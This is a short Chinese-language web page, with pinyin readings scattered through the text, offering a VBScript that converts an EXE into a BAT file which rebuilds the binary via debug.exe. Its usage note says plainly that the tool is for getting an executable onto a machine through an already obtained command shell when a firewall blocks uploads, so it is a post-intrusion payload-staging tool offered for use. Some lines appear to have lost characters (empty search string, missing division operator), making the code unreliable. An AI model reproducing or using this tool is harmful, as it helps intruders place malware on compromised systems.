EXE2BAT(EXE轉(zhuǎn)BAT)的vbs腳本

字號:


    這個腳本主要是將exe轉(zhuǎn)換為vbs腳本,需要的朋友可以測試下
    exe2bat的腳本
    代碼如下:
    fp=wscript.arguments(0)
    fn=right(fp,len(fp)-instrrev(fp,""))
    with createobject("adodb.stream")
    .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
    end with
    sll=sl mod 65536:slh=sl65536
    with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
    .write "@echo str="""
    for i=1 to sl
    bt=ascb(midb(str,i,1))
    if bt<16 then .write "0"
    .write hex(bt)
    if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""
    next
    .writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
    +":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
    +":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
    .writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
    +"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
    +">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
    end with
    說明文件:
    在得到一個CMDSHELL而又因為防火墻等原因無法上傳文件時,可以使用本腳本.
    直接在本地將一個EXE文件轉(zhuǎn)換為一個BAT文件然后用記事本打開BAT文件,然后復(fù)制全部->CMDSHELL粘貼一下就可以在CMDSHELL下得到我們上傳的EXE文件了.
    腳本用法為:cscript cdown.vbs XXX.exe
    在同目錄下生成一個BAT文件.按上面的做法